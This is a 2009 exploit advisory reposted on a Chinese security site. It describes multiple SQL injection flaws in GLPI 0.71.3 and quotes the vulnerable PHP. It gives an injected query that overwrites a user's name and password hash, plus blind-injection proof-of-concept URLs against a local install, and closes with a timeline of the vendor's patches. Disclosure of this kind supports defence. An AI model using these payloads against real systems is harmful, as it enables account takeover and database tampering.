首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
GLPI v 0.71.3 Multiple Remote SQL Injection VUlnerabilities
来源:vfocus.net 作者:vfocus 发布时间:2009-02-02  
[+] Application : GLPI v 0.71.3
[+] App'z URI   : http://glpi-project.org
[+] Bug         : Multiple Remote SQL Injections
[+] Author      : Zigma

[+] Home        : http://NullArea.Net

Let's have a look on the Security System GLPI uses :

--- \inc\includes.php ---

// Security system
if (isset($_POST)){
	if (!get_magic_quotes_gpc()){
		$_POST = array_map('addslashes_deep', $_POST);
	}
	$_POST = array_map('clean_cross_side_scripting_deep', $_POST);
}
if (isset($_GET)){
	if (!get_magic_quotes_gpc()){
		$_GET = array_map('addslashes_deep', $_GET);
	}
	$_GET = array_map('clean_cross_side_scripting_deep', $_GET);
}

As you can see , GLPI cleans the POSTS and GETS making it safe from
cross side scripting and Slahsing it if magic_quotes_gpc OFF ,
BUT
We are not obliged to use quotes injecting the GLPI
We can Inject for example the parameter ID with no need to use a quote
Taking rulesengine.class.php as an example :

--- \inc\rulesengine.class.php ---

	function cleanDBonPurge($ID){
		// Delete a rule and all associated criterias and actions
		global $DB;
		$sql = "DELETE FROM glpi_rules_actions WHERE FK_rules=".$ID; <--
		$DB->query($sql);
		
		$sql = "DELETE FROM glpi_rules_criterias WHERE FK_rules=".$ID; <--
		$DB->query($sql);
	}
---

Trying to inject...
since we can modify the ID parameter we will make the query looks like :

DELETE FROM glpi_rules_criterias WHERE FK_rules=1 UPDATE glpi_users
SET name=1337 AND password_md5=E48E13207341B6BFFB7FB1622282247B where
ID=1
and u can guess what u can do..


[+] Proof Of Concept :

http://127.0.0.1/glpi/front/user.form.php?ID=2+and+1=1 True , You get
your normal page
http://127.0.0.1/glpi/front/user.form.php?ID=2+and+1=1337 False , You
get "Item not found"
http://127.0.0.1/glpi/front/user.form.php?ID=2+and+substring(version(),1,1)=5
, True (in my case)
http://127.0.0.1/glpi/front/profile.form.php?ID=2+and+1=1337

So other files that uses ID parameter (besides the other parameters)
Im too lazy to write them all :/

[+] Time Line Notification  :

2009-01-23 - Contacted throw Forum , Bugs Section
2009-01-24 - GLPI version 0.71.4 Published (Security update)
2009-01-26 - GLPI version 0.71.5 Published (Fix for 0.71.4 Issues)

# [2009-01-29]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WOW - Web On Windows ActiveX C
·Internet Explorer 7 ClickJacki
·Coppermine Photo Gallery 1.4.1
·WFTPD Explorer Pro 1.0 Remote
·Star Articles 6.0 (admin.manag
·dBpowerAMP Audio Player v2 (.p
·Star Articles 6.0 (add/edit/de
·Motorola Wimax modem CPEi300 (
·Amaya Web Editor <= 11.0 Remot
·NetArtMedia Car Portal 1.0 (Au
·Personal Site Manager <= 0.3 R
·PLE CMS 1.0 beta 4.2 (login.ph
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved